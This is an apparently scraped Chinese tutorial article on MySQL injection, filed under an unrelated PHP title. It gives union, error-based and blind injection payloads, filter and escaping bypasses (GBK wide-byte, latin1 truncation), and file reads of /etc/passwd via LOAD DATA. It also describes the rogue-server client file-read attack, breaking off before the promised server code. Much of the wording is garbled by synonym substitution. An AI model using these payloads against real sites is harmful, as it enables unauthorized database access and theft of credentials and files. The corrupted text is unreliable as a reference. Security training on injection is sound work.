首页 » PHP教程 » php左补齐技巧_对MYSQL注入相关内容及部分Trick的归类小结

php左补齐技巧_对MYSQL注入相关内容及部分Trick的归类小结

访客 2024-11-22 0

扫一扫用手机浏览

文章目录 [+]

本文部分内容可能会直接截取其他大牛的文章,截取的内容我都会进行声明处理。
如有侵权,请发email联系我(asp-php#foxmail.com)删除。

Mysql简介

在正式讲解mysql注入的内容前,我认为还是有必要解释一下什么是mysql、mysql的特点是什么等内容,这些东西看起来可能对注入毫无帮助,开始却能很好的帮助我们学习,交融贯通。

php左补齐技巧_对MYSQL注入相关内容及部分Trick的归类小结

MySQL是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开拓,目前属于 Oracle 公司。
MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速率并提高了灵巧性。

php左补齐技巧_对MYSQL注入相关内容及部分Trick的归类小结
(图片来自网络侵删)

MySQL是开源的,以是你不须要支付额外的用度。
MySQL利用标准的 SQL 数听说话形式。
MySQL可以运行于多个别系上,并且支持多种措辞。
这些编程措辞包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等。
MySQL对PHP有很好的支持,PHP 是目前最盛行的 Web 开拓措辞。
MySQL支持大型数据库,支持 5000 万条记录的数据仓库,32 位系统表文件最大可支持 4GB,64 位系统支持最大的表文件为8TB。
MySQL是可以定制的,采取了 GPL 协议,你可以修正源码来开拓自己的 MySQL 系统。

引自:Mysql教程 | 菜鸟教程

一个完全的mysql管理系统构造常日如下图:

可以看到,mysql可以管理多个数据库,一个数据库可以包含多个数据表,而一个数据表有含有多条字段,一行数据正是多个字段同一行的一串数据。

什么是SQL注入?

大略的来说,SQL注入是开拓者没有对用户的输入数据进行严格的限定/转义,致利用户在输入一些特定的字符时,在与后端设定的sql语句进行拼接时产生了歧义,使得用户可以掌握该条sql语句与数据库进行通信。

举个例子:

<?php$conn = mysqli_connect($servername, $username, $password, $dbname);if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$username = @$_POST['username'];$password = @$_POST['password'];$sql = "select from users where username = '$username' and password='$password';";$rs = mysqli_query($conn,$sql);if($rs->fetch_row()){ echo "success";}else{ echo "fail";}?>

上述代码将仿照一个web运用程序进行登录操作。
若登录成功,则返回success,否则,返回fail。

常日正常用户进行登录的sql语句为:

select from users where username = '$username' and password='$password'

个中,变量$username 与变量$password为用户可以掌握的内容,正常情形下,用户所输入的内容在sql语义上都将作为字符错,被赋值给前边的字段来当做整条select查询语句的筛选条件。

若用户输入的$username为admin'#,$password为123。
那么拼接到sql语句中将得到如下结果:

select from users where username = 'admin'#' and password='123'

这里的#是单行注释符,可以将后边的内容给注释掉。
那么此条语句的语义将发生了变革,用户可以不须要判断密码,只需一个用户名,即可完成登录操作,这与开拓者的初衷相悖。

Mysql注入-入门

我们知道,在数据库中,常见的对数据进行处理的操作有:增、删、查、改这四种。

每一项操作都具有不同的浸染,共同构成了对数据的绝大部分操作。

增。
顾名思义,也便是增加数据。
在通用的SQL语句中,其大略构造常日可概述为: INSERT table_name(columns_name) VALUES(new_values)。
删。
删除数据。
大略构造为: DELETE table_name WHERE condition。
查。
查询语句可以说是绝大部分运用程序最常用到的SQL语句,他的浸染便是查找数据。
其大略构造为:SELECT columns_name FROM table_name WHERE condition。
改。
有修正/更新数据。
大略构造为:UPDATE table_name SET column_name=new_value WHERE condition。

PS:以上SQL语句中,系统关键字全部进行了大写处理。

mysql的查询语句完全格式如下:

SELECT [ALL | DISTINCT | DISTINCTROW ] [HIGH_PRIORITY] [STRAIGHT_JOIN] [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] select_expr [, select_expr ...] [FROM table_references [PARTITION partition_list] [WHERE where_condition] [GROUP BY {col_name | expr | position} [ASC | DESC], ... [WITH ROLLUP]] [HAVING where_condition] [ORDER BY {col_name | expr | position} [ASC | DESC], ...] [LIMIT {[offset,] row_count | row_count OFFSET offset}] [PROCEDURE procedure_name(argument_list)] [INTO OUTFILE 'file_name' [CHARACTER SET charset_name] export_options | INTO DUMPFILE 'file_name' | INTO var_name [, var_name]] [FOR UPDATE | LOCK IN SHARE MODE]]

常日注入点发生在where_condition处,并不是说唯有此处可以注入,其他的位置也可以,只是我们先将此处的注入当做例子来进行讲解,之后会逐渐降到其他的位置该如何进行注入。

对付SELECT语句,我们常日分其为两种情形:有回显和无回显。

有回显

什么叫有回显?别急,我们来举个例子。

当我们点击一篇文章阅读时,其URL为read.php?id=1,我们可以很随意马虎地猜出其SQL语句可能为select from articles where id='$id'。

这时候页面将SQL语句返回的内容显示在了页面中(本例中是标题、内容、作者等信息),这种情形就叫有回显。

对付有回显的情形来说,我们常日利用联合查询注入法。

联合查询注入

其浸染便是,在原来查询条件的根本上,通过系统关键字union从而拼接上我们自己的select语句,后个select得到的结果将拼接到前个select的结果后边。
如:前个select得到2条数据,后个select得到1条数据,那么后个select的数据将作为第3条拼接到第一个select返回的内容中,其字段名将按照位置关系进行继续。

如:正常查询语句 union select columns_name from (database.)table_name where condition

这里须要把稳的是:

若回显仅支持一行数据的话,记得让前边正常的查询语句返回的结果为空。
利用union select进行拼接时,把稳前后两个select语句的返回的字段数必须相同,否则无法拼接。
无回显

什么叫无回显?之前举得登录判断便是一个无回显的例子。
如果SQL语句存在返回的数据,那么页面输出为success,若不存在返回的数据,则输出fail。

与有回显情形不同的是:无回显的页面输出内容并不是SQL语句返回的内容。

对付无回显的情形,我们常日可用两种方法进行注入:报错注入与盲注。

报错注入

什么是报错注入,大略的说,便是有些分外的函数,会在其报错信息里可能会返回其参数的值。

我们可以利用这一特性,在其参数放入我们想要得到的数据,常日利用子查询的方法实现,末了让其报错并输出结果。

正常语句 (where | and) exp(~(select from(select user())a));正常语句 (where | and) updatexml(1,concat(0x7e,(select user()),0x7e),1);盲注

若网站设置了无报错信息返回,那么在不直接返回数据+不返回报错信息的情形下,盲注便险些成了末了一种直接注入取数据的方法了。

个中,盲注分成布尔盲注和韶光盲注。

布尔盲注

对付布尔盲注来说,其利用的场景在于:对真/假条件返回的内容很随意马虎区分。

比如说,有这么一条正常的select语句,我们中兴where条件后边加上and 1=2,我们知道,1永久不即是2,那么这个条件便是一个永假条件,我们利用and语句连上,那么全体where部分便是永假的,这时候select语句是不会返回内容的。
将其返回的内容与正常页面进行比拟,如果很随意马虎区分的话,那么布尔盲注试用。

如:正常语句 (where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)

韶光盲注

比较较于布尔盲注,韶光盲注依赖于通过页面返回的延迟韶光来判断条件是否精确。

利用场景:布尔盲注永假条件所返回的内容与正常语句返回的内容很靠近/相同,无法判断情形。

大略的来说,韶光盲注便是,如果我们自定义的条件为假的话,我们让其0延迟通过,如果条件为真的话,利用sleep()等函数,让sql语句的返回产生延迟。

如:正常语句(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)

末了总结一下:

常见注入方法有三种:联合查询注入、报错注入、盲注,个中:

有回显:三种均可利用,推举利用联合查询注入。
无回显:报错注入+盲注可用。

对付韶光成本来说:联合查询注入<报错注入<<盲注。

常日情形下,盲注须要一个一个字符的进行判断。
这极大的增加了韶光本钱,况且对付韶光盲注来说,还须要额外的延迟韶光来作为判断的标准。

三大注入的基本步骤联合查询注入步骤

1) 首先,先确定字段数量。

利用order/group by语句。
通过今后边拼接数字,可确定字段数量,若大于,则页面缺点/无内容,若小于或即是,则页面正常。
若缺点页与正常页一样,改换报错注入/盲注。

2) 第二步,判断页面回显数据的字段位置。

利用union select 1,2,3,4,x... 我们定义的数字将显示在页面上,即可从中止定页面显示的字段位置。

把稳:

若确定页面有回显,但是页面中并没有我们定义的分外标记数字涌现,可能是页面现在了单行数据输出,我们让前边的select查询条件返回结果为空即可。
把稳一定要拼接够足够的字段数,否则SQL语句报错。
PS:此方法也可作为判断前条select语句的方法之一。

3) 第三步,在显示的字段位置利用子查询来查询数据,或直接查询也可。

首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情形,再根据不同的版本、不同的权限确定接下来的方法。

若Mysql版本<5.0

大略的说,由于mysql的低版本缺少系统库information_schema,故常日情形下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠猜来办理。

直接猜表名与列名是什么,乃至是库名,再利用联合查询取数据。

若知道仅表名而不知道列(字段)名:

可通过以下payload:

若多字段:select `x` from(select 1,2,3,4,xxx from table_name union select from table_name)a若单字段:select ,1,2,xxx from table_name若Mysql版本>=5.0

首先去一个名为information_schema的数据库里的shemata数据表查询全部数据库名。

若不须要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。

在information_schema的一个名为tables的数据表中存着全部的数据表信息。

个中,table_name 字段保存其名称,table_schema保存其对应的数据库名。

union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();

上述payload可查看全部的数据表名,个中group_concat函数将多行数据转成一行数据。

接着通过其表名,查询该表的所有字段名,有时也称列名。

通过information_schema库下的columns表可查询对应的数据库/数据库表含有的字段名。

Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型,也通过十六进制表示

知道了想要的数据存放的数据库、数据表、字段名,直接联合查询即可。

Union select 1,2,column_name,4,xxx from (database_name.)table_name

大略的说,查库名->查表名->查字段名->查数据

盲注步骤:

核心:利用逻辑代数连接词/条件函数,让页面返回的内容/相应韶光与正常的页面不符。

布尔盲注:

首先通过页面对于永真条件or 1=1与永假条件and 1=2的返回内容是否存在差异进行判断是否可以进行布尔盲注。

如:select from users where username=$username,其浸染设定为判断用户名是否存在。

常日仅返回存在/不存在,两个结果。

这时候我们就不能利用联合查询法注入,由于页面显示SQL语句返回的内容,只能利用盲注法/报错注入法来注出数据。

我们在将语句注入成:select from users where username=$username or (condition)

若后边拼接的条件为真的话,那么整条语句的where区域将变成永真条件。

那么,纵然我们在$username处输入的用户名为一个铁定不存在的用户名,那么返回的结果也仍旧为存在。

利用这一特性,我们的condition为:length(database())>8 即可用于判断数据库名长度

除此之外,还可:ascii(substr(database(),1,1))<130 用二分法快速获取数据名(逐字判断)

payload如下:

select from users where username=nouser or length(database())>8select from users where username=nouser or ascii(substr(database(),1,1))<130韶光盲注:

通过判断页面返回内容的相应韶光差异进行条件判断。

常日可利用的产生韶光延迟的函数有:sleep()、benchmark(),还有许多进行繁芜运算的函数也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法。

如上述例子:若做事器在实行永真/永假条件并不直接返回两个随意马虎区分的内容时,利用韶光盲注或许是个更好的办法。

在上述语句中,我们拼接语句,变成:

select from users where username=$username (and | or) if(length(database())>8,sleep(3),1)

如果数据库名的长度大于8,那么if条件将实行sleep(3),那么此条语句将进行延迟3秒的操作。

若小于或即是8,则if条件直接返回1,并与前边的逻辑连接词拼接,无延迟直接返回。
常日的相应韶光在0-1秒之内,与上种情形具有很随意马虎区分的结果,可做条件判断的依据。

报错注入步骤:

通过分外函数的缺点利用使其参数被页面输出。

条件:做事器开启报错信息返回,也便是发生缺点时返回报错信息。

常见的利用函数有:exp()、floor()+rand()、updatexml()、extractvalue()等

如:select from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)

由于updatexml函数的第二个参数须要知足xpath格式,我们在其前后添加字符~,使其不知足xpath格式,进行报错并输出。

将上述payload的(select user())当做联合查询法的注入位置,接下来的操作与联合查询法一样。

把稳:

报错函数常日尤其最长报错输出的限定,面对这种情形,可以进行分割输出。
分外函数的分外参数进运行一个字段、一行数据的返回,利用group_concat等函数聚合数据即可。
增、删、改

可大略当做无回显的Select语句进行注入。
值得把稳的是,常日增insert处的注入点在测试时会产生大量的垃圾数据,删delete处的注入千万要把稳where条件不要为永真。

Mysql注入-进阶

到目前为止,我们讲了Mysql注入的基本入门,那么接下来我将会花费大部分韶光先容我学习mysql注入碰着的一些知识点。

常见防御手段绕过

在讲绕过之前,我认为有必要先讲讲什么是:过滤与拦截。

大略的说便是:过滤指的是,我们输入的部分内容在拼接SQL语句之前被程序删除掉了,接着将过滤之后的内容拼接到SQL语句并连续与数据库通信。
而拦截指的是:若检测到指定的内容存在,则直接返回拦截页面,同时不会进行拼接SQL语句并与数据库通信的操作。

若程序设置的是过滤,则若过滤的字符不为单字符,则可以利用双写绕过。

举个例子:程序过滤掉了union这一关键词,我们可以利用ununionion来绕过。

PS:一样平常检测方法都是利用的正则,把稳不雅观察正则匹配时,是否忽略大小写匹配,若不忽略,直策应用大小写混搭即可绕过。

and/or 被过滤/拦截双写anandd、oorr利用运算符代替&&、||直接拼接=号,如:?id=1=(condition)其他方法,如:?id=1^(condition)空格被过滤/拦截多层括号嵌套改用+号利用注释代替and/or后面可以跟上偶数个!、~可以替代空格,也可以稠浊利用(规律又不同),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0等部分不可见字符可也代替空格

如:select from user where username='admin'union(select+title,content//from/!article/where//id='1'and!!!!~~1=1)

括号被过滤/拦截order by 大小比较盲注逗号被过滤/拦截改用盲注利用join语句代替substr(data from 1 for 1)相称于substr(data,1,1)、limit 9 offset 4相称于limt 9,4其他系统关键字被过滤/拦截双写绕过关键字过滤利用同义函数/语句代替,如if函数可用case when condition then 1 else 0 end语句代替。
单双引号被过滤/拦截/转义须要跳出单引号的情形:考试测验是否存在编码问题而产生的SQL注入。
不须要跳出单引号的情形:字符串可用十六进制表示、也可通过进制转换函数表示成其他进制。
数字被过滤/拦截

下表摘自MySQL注入技巧

代替字符数代替字符数、字代替字符数、字false、!pi()0ceil(pi()pi())10\Aceil((pi()+pi())pi())20\Ktrue、!(!pi())1ceil(pi()pi())+true11\Bceil(ceil(pi())version())21\Ltrue+true2ceil(pi()+pi()+version())12\Cceil(pi()ceil(pi()+pi()))22\Mfloor(pi())、~~pi()3floor(pi()pi()+pi())13\Dceil((pi()+ceil(pi()))pi())23\Nceil(pi())4ceil(pi()pi()+pi())14\Eceil(pi())ceil(version())24\Ofloor(version()) //把稳版本5ceil(pi()pi()+version())15\Ffloor(pi()(version()+pi()))25\Pceil(version())6floor(pi()version())16\Gfloor(version()version())26\Qceil(pi()+pi())7ceil(pi()version())17\Hceil(version()version())27\Rfloor(version()+pi())8ceil(pi()version())+true18\Iceil(pi()pi()pi()-pi())28\Sfloor(pi()pi())9floor((pi()+pi())pi())19\Jfloor(pi()pi()floor(pi()))29\T

编码转换产生的问题宽字节注入

什么是宽字节注入?下面举个例子来见告你。

<?php$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");if (!$conn) { die("Connection failed: " . mysqli_connect_error());}$conn->query("set names 'gbk';");$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);$sql = "select from users where username = '$username' and password='$password';";$rs = mysqli_query($conn,$sql);echo $sql.'<br>';if($rs->fetch_row()){ echo "success";}else{ echo "fail";}?>

还是开头的例子,只不过加了点料。

$conn->query("set names 'gbk';");$username = addslashes(@$_POST['username']);$password = addslashes(@$_POST['password']);

addslashes函数将会把POST吸收到的username与password的部分字符进行转义处理。
如下:

字符'、"、\前边会被添加上一条反斜杠\作为转义字符。
多个空格被过滤成一个空格。

这使得我们原来的payload被转义成如下:

select from users where username = 'admin\'#' and password='123';

把稳:我们输入的单引号被转义掉了,此时SQL语句的功能是:查找用户名为admin'#且密码为123的用户。

但是我们把稳到,在拼接SQL语句并与数据库进行通信之前,我们实行了这么一条语句:

$conn->query("set names 'gbk';");

其浸染相称于:

mysql>SET character_set_client ='gbk';mysql>SET character_set_results ='gbk';mysql>SET character_set_connection ='gbk';

当我们输入的数据为:username=%df%27or%201=1%23&password=123

经由addslashes函数处理终极变成:username=%df%5c%27or%201=1%23&password=123

经由gbk解码得到:username=運'or 1=1#、password=123,拼接到SQL语句得:

select from users where username = '運'or 1=1#' and password='123';

成功跳出了addslashes的转义限定。

详细阐明

前边提到:set names 'gbk';相称于实行了如下操作:

mysql>SET character_set_client ='gbk';mysql>SET character_set_results ='gbk';mysql>SET character_set_connection ='gbk';

那么此时在SQL语句在与数据库进行通信时,会先将SQL语句进行对应的character_set_client所设置的编码进行转码,本例是gbk编码。

由于PHP的编码为UTF-8,我们输入的内容为%df%27,会被当做是两个字符,个中%27为单引号'。

经由函数addslashes处理变成%df%5c%27,%5c为反斜线\。

在经由客户端层character_set_client编码处理后变成:運',成功将反斜线给“吞”掉了,使单引号逃逸出来。

Latin1默认编码

讲完了gbk造成的编码问题,我们再讲讲latin1造成的编码问题。

老样子,先举个例子。

<?php//该代码节选自:离去歌's blog$mysqli = new mysqli("localhost", "root", "root", "cat");/ check connection /if ($mysqli->connect_errno) { printf("Connect failed: %s\n", $mysqli->connect_error); exit();}$mysqli->query("set names utf8");$username = addslashes($_GET['username']);//我们在其根本上添加这么一条语句。
if($username === 'admin'){ die("You can't do this.");}/ Select queries return a resultset /$sql = "SELECT FROM `table1` WHERE username='{$username}'";if ($result = $mysqli->query( $sql )) { printf("Select returned %d rows.\n", $result->num_rows); while ($row = $result->fetch_array(MYSQLI_ASSOC)) { var_dump($row); } / free result set / $result->close();} else { var_dump($mysqli->error);}$mysqli->close();?>

建表语句如下:

CREATE TABLE `table1` ( `id` int(10) unsigned NOT NULL AUTO_INCREMENT, `username` varchar(255) COLLATE latin1_general_ci NOT NULL, `password` varchar(255) COLLATE latin1_general_ci NOT NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;

我们设置表的编码为latin1,事实上,就算你不填写,默认编码便是latin1。

我们往表中添加一条数据:insert table1 VALUES(1,'admin','admin');

把稳查看源代码:

if($username === 'admin'){ die("You can't do this.");}

我们对用户的输入进行了判断,若输入内容为admin,直接结束代码输出返回,并且还对输出的内容进行addslashes处理,使得我们无法逃逸出单引号。

这样的话,我们该若何绕过这个限定,让页面输出admin的数据呢?

我们把稳到:$mysqli->query("set names utf8");这么一行代码,在连接到数据库之后,实行了这么一条SQL语句。

上边在gbk宽字节注入的时候讲到过:set names utf8;相称于:

mysql>SET character_set_client ='utf8';mysql>SET character_set_results ='utf8';mysql>SET character_set_connection ='utf8';

前边说道:PHP的编码是UTF-8,而我们现在设置的也是UTF-8,怎么会产生问题呢?

别焦急,让我接着往下说。
前边我们提到:SQL语句会先转成character_set_client设置的编码。
但,他接下来还会连续转换。
character_set_client客户端层转换完毕之后,数据将会交给character_set_connection连接层处理,末了在从character_set_connection转到数据表的内部操作字符集。

来本例中,字符集的转换为:UTF-8—>UTF-8->Latin1

这里须要讲一下UTF-8编码的一些内容。

UTF-8编码是变长编码,可能有1~4个字节表示:

一字节时范围是[00-7F]两字节时范围是[C0-DF][80-BF]三字节时范围是[E0-EF][80-BF][80-BF]四字节时范围是[F0-F7][80-BF][80-BF][80-BF]

然后根据RFC 3629规范,又有一些字节值是不许可涌如今UTF-8编码中的:

以是终极,UTF-8第一字节的取值范围是:00-7F、C2-F4。

关于所有的UTF-8字符,你可以在这个表中逐一看到: http://utf8-chartable.de/unicode-utf8-table.pl

引自:Mysql字符编码利用技巧

利用这一特性,我们输入:?username=admin%c2,%c2是一个Latin1字符集不存在的字符。

由上述,可以大略的知道:%00-%7F可以直接表示某个字符、%C2-%F4不可以直接表示某个字符,他们只是其他长字节编码结果的首字节。

但是,这里还有一个Trick:Mysql所利用的UTF-8编码是阉割版的,仅支持三个字节的编码。
以是说,Mysql中的UTF-8字符集只有最大三字节的字符,首字节范围:00-7F、C2-EF。

而对付不完全的长字节UTF-8编码的字符,若进行字符集转换时,会直接进行忽略处理。

利用这一特性,我们的payload为?username=admin%c2,此处的%c2换为%c2-%ef均可。

SELECT FROM `table1` WHERE username='admin'

由于admin%c2在末了一层的内部操作字符集转换中变成admin。

报错注入事理

我们前边说到,报错注入是通过分外函数缺点利用并使其输出错误结果来获取信息的。

那么,我们详细来说说,都有哪些分外函数,以及他们都该怎么利用。

MySQL的报错注入紧张是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:

BigInt等数据类型溢出函数参数格式缺点主键/字段重复exp()

函数语法:exp(int)

适用版本:5.5.5~5.5.49

该函数将会返回e的x次方结果。
正常如下图:

为什么会报错呢?我们知道,次方到后边每增加1,其结果都将跨度极大,而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错。
如下图:

我们的payload为:exp(~(select from(select user())a))

个中,~符号为运算符,意思为一元字符反转,常日将字符串经由处理后变成大整数,再放到exp函数内,得到的结果将超过mysql的double数组范围,从而报错输出。
至于为什么须要用两层子查询,这点我暂时还没有弄明白,欢迎有理解的大牛找我谈论: )

除了exp()之外,还有类似pow()之类的相似函数同样是可利用的,他们的事理相同。

updatexml()

函数语法:updatexml(XML_document, XPath_string, new_value);

适用版本: 5.1.5+

我们常日在第二个xpath参数填写我们要查询的内容。

与exp()不同,updatexml是由于参数的格式禁绝确而产生的缺点,同样也会返回参数的信息。

payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)

前后添加~使其不符合xpath格式从而报错。

extractvalue()

函数语法:EXTRACTVALUE (XML_document, XPath_string);

适用版本:5.1.5+

利用事理与updatexml函数相同

payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

rand()+group()+count()

虚拟表报错事理:大略来说,是由于where条件每实行一次,rand函数就会实行一次,如果在由于在统计数据时判断依据不能动态改变,故rand()不能后接在order/group by上。

举一个例子:假设user表有三条数据,我们通过:select from user group by username 来通过个中的username字段进行分组。

此过程会先建立一个虚拟表,存在两个字段:key,count

个中我们通过username来判断,其在此处是字段,首先先取第一行的数据:username=test&password=test

username为test涌现一次,则现在虚表内查询是否存在test,若存在,则count+1,若不存在,则添加test,其count为1。

对付floor(rand(0)2),个中rand()函数,会天生0~1之间随机一个小数、floor()取整数部分、0是随机因子、乘2是为了让大于0.5的小数通过floor函数得1,否则永久为0。

若表中有三行数据:我们通过select from user group by floor(rand(0)2)进行排序的话。

把稳,由于rand(0)的随机因子是被固定的,故其产生的随机数也被固定了,顺序为:011011…

首先group by须要实行的话,须要确定分组因子,故floor(rand(0)2)被实行一次,得到的结果为0,接着在虚表内检索0,创造虚表没有键值为0的记录,故添加上,在进行添加时:floor(rand(0)2)第二次被实行,得到结果1,故虚表插入的内容为key=1&count=1。

第二次实行group by时:floor(rand(0)2)先被运行一次,也便是第三次运行。
得到结果1,查询虚表创造数据存在,因而直接让虚表内的key=1的count加一即可,floor(..)只运行了一次。

第三次实行group by时,floor被实行第四次,得到结果0,查询虚表不存在。
再插入虚表时,floor(…)被实行第五次,得到结果1,故此时虚表将插入的值为key=1&count=1,把稳,此时虚表已有一条记录为:key=1&count=2,并且字段key为主键,具有不可重复性,故虚表在考试测验插入时将产生缺点。

图文:

1.查询前默认会建立空虚拟表如下图:

2.取第一条记录,实行floor(rand(0)2),创造结果为0(第一次打算),查询虚拟表,创造0的键值不存在,则floor(rand(0)2)会被再打算一次,结果为1(第二次打算),插入虚表,这时第一条记录查询完毕,如下图:

\3.查询第二条记录,再次打算floor(rand(0)2),创造结果为1(第三次打算),查询虚表,创造1的键值存在,以是floor(rand(0)2)不会被打算第二次,直接count()加1,第二条记录查询完毕,结果如下:

4.查询第三条记录,再次打算floor(rand(0)2),创造结果为0(第4次打算),查询虚表,创造键值没有0,则数据库考试测验插入一条新的数据,在插入数据时floor(rand(0)2)被再次打算,作为虚表的主键,其值为1(第5次打算),然而1这个主键已经存在于虚拟表中,而新打算的值也为1(主键键值必须唯一),以是插入的时候就直接报错了。

5.全体查询过程floor(rand(0)2)被打算了5次,查询原数据表3次,以是这便是为什么数据表中须要3条数据,利用该语句才会报错的缘故原由。

引自:——Mysql报错注入事理剖析(count()、rand()、group by)

payload用法: union select count(),2,concat(':',(select database()),':',floor(rand()2))as a from information_schema.tables group by a

几何函数GeometryCollection:id=1 AND GeometryCollection((select from (select from(select user())a)b))polygon():id=1 AND polygon((select from(select from(select user())a)b))multipoint():id=1 AND multipoint((select from(select from(select user())a)b))multilinestring():id=1 AND multilinestring((select from(select from(select user())a)b))linestring():id=1 AND LINESTRING((select from(select from(select user())a)b))multipolygon() :id=1 AND multipolygon((select from(select from(select user())a)b))不存在的函数

随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。

Bigint数值操作:

当mysql数据库的某些边界数值进行数值运算时,会报错的事理。

如~0得到的结果:18446744073709551615

若此数参与运算,则很随意马虎会缺点。

payload: select !(select from(select user())a)-~0;

name_const()

仅可取数据库版本信息

payload: select from(select name_const(version(),0x1),name_const(version(),0x1))a

uuid干系函数

适用版本:8.0.x

参数格式禁绝确。

mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));join using()注列名

通过系统关键词join可建立两个表之间的内连接。

通过对想要查询列名的表与其自身建议内连接,会由于冗余的缘故原由(相同列名存在),而发生缺点。

并且报错信息会存在重复的列名,可以利用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

mysql>select from(select from users a join (select from users)b)c;mysql>select from(select from users a join (select from users)b using(username))c;mysql>select from(select from users a join (select from users)b using(username,password))cGTID干系函数

参数格式禁绝确。

mysql>select gtid_subset(user(),1);mysql>select gtid_subset(hex(substr((select from users limit 1,1),1,1)),1);mysql>select gtid_subtract((select from(select user())a),1);报错函数速查表

注:默认MYSQL_ERRMSG_SIZE=512

种别函数版本需求5.5.x5.6.x5.7.x8.x函数显错长度Mysql报错内容长度额外限定主键重复floor round❓✔️✔️✔️64data_type ≠ varchar列名重复name_const❓✔️✔️✔️✔️only version()列名重复join[5.5.49, ?)✔️✔️✔️✔️only columns数据溢出 - Double1e308 cot exp pow[5.5.5, 5.5.48]✔️MYSQL_ERRMSG_SIZE数据溢出 - BIGINT1+~0[5.5.5, 5.5.48]✔️MYSQL_ERRMSG_SIZE几何工具geometrycollection linestring multipoint multipolygon multilinestring polygon[?, 5.5.48]✔️244空间函数 GeohashST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash[5.7, ?)✔️✔️128GTIDgtid_subset gtid_subtract[5.6.5, ?)✔️✔️✔️200JSONjson_[5.7.8, 5.7.11]✔️200UUIDuuid_to_bin bin_to_uuid[8.0, ?)✔️128XPathextractvalue updatexml[5.1.5, ?)✔️✔️✔️✔️32

摘自——Mysql 注入根本小结

文件读/写

我们知道Mysql是很灵巧的,它支持文件读/写功能。
在讲这之前,有必要先容下什么是file_priv和secure-file-priv。

大略的说:file_priv是对付用户的文件读写权限,若无权限则不能进行文件读写操作,可通过下述payload查询权限。

select file_priv from mysql.user where user=$USER host=$HOST;

secure-file-priv是一个别系变量,对付文件读/写功能进行限定。
详细如下:

无内容,表示无限制。
为NULL,表示禁止文件读/写。
为目录名,表示仅许可对特定目录的文件进行读/写。

注:5.5.53本身及之后的版本默认值为NULL,之前的版本无内容。

三种方法查看当前secure-file-priv的值:

select @@secure_file_priv;select @@global.secure_file_priv;show variables like "secure_file_priv";

修正:

通过修正my.ini文件,添加:secure-file-priv=启动项添加参数:mysqld.exe --secure-file-priv=读

Mysql读取文件常日利用load_file函数,语法如下:

select load_file(file_path);

第二种读文件的方法:

load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取做事端文件

第三种:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #读取客户端文件

限定:

前两种须要secure-file-priv无值或为有利目录。
都须要知道要读取的文件所在的绝对路径。
要读取的文件大小必须小于max_allowed_packet所设置的值低权限读取文件

5.5.53secure-file-priv=NULL读文件payload,mysql8测试失落败,其他版本自测。

drop table mysql.m1;CREATE TABLE mysql.m1 (code TEXT );LOAD DATA LOCAL INFILE 'D://1.txt' INTO TABLE mysql.m1 fields terminated by '';select from mysql.m1;Mysql连接数据库时可读取文件

这个漏洞是mysql的一个特性产生的,是上述的第三种读文件的方法为根本的。

大略描述该漏洞:Mysql客户端在实行load data local语句的时,先想mysql做事端发送要求,做事端吸收到要求,并返回须要读取的文件地址,客户端吸收该地址并进行读取,接着将读取到的内容发送给做事端。
用普通的措辞可以描述如下:

原来的查询流程为

客户端:我要把我的win.ini文件内容插入test表中 做事端:好,我要你的win.ini文件内容 客户端:win.ini的内容如下....

假设做事端由我们掌握,把一个正常的流程修改成如下

客户端:我要把我的win.ini文件内容插入test表中 做事端:好,我要你的conn.php内容 客户端:conn.php的内容如下???

例子部分修正自:CSS-T | Mysql Client 任意文件读取攻击链拓展

换句话说:load data local语句要读取的文件会受到做事真个掌握。

其次,在Mysql官方文档对付load data local语句的安全解释中有这么一句话:

A patched server could in fact reply with a file-transfer request to any statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.

意思是:做事器对客户真个文件读取要求实际上是可以返回给客户端发送给做事真个任意语句要求的,不仅仅只是load data local语句。

这就会产生什么结果呢?之前讲的例子,将可以变成:

客户端:我须要查询test表下的xx内容做事端:我须要你的conn.php内容客户端:conn.php的内容如下???

可以看到,客户审察当于被攻击者给半挟制了。

利用上述的特性,我们通过布局一个恶意的做事端,即可完成上述的过程。

大略单纯恶意做事端代码:

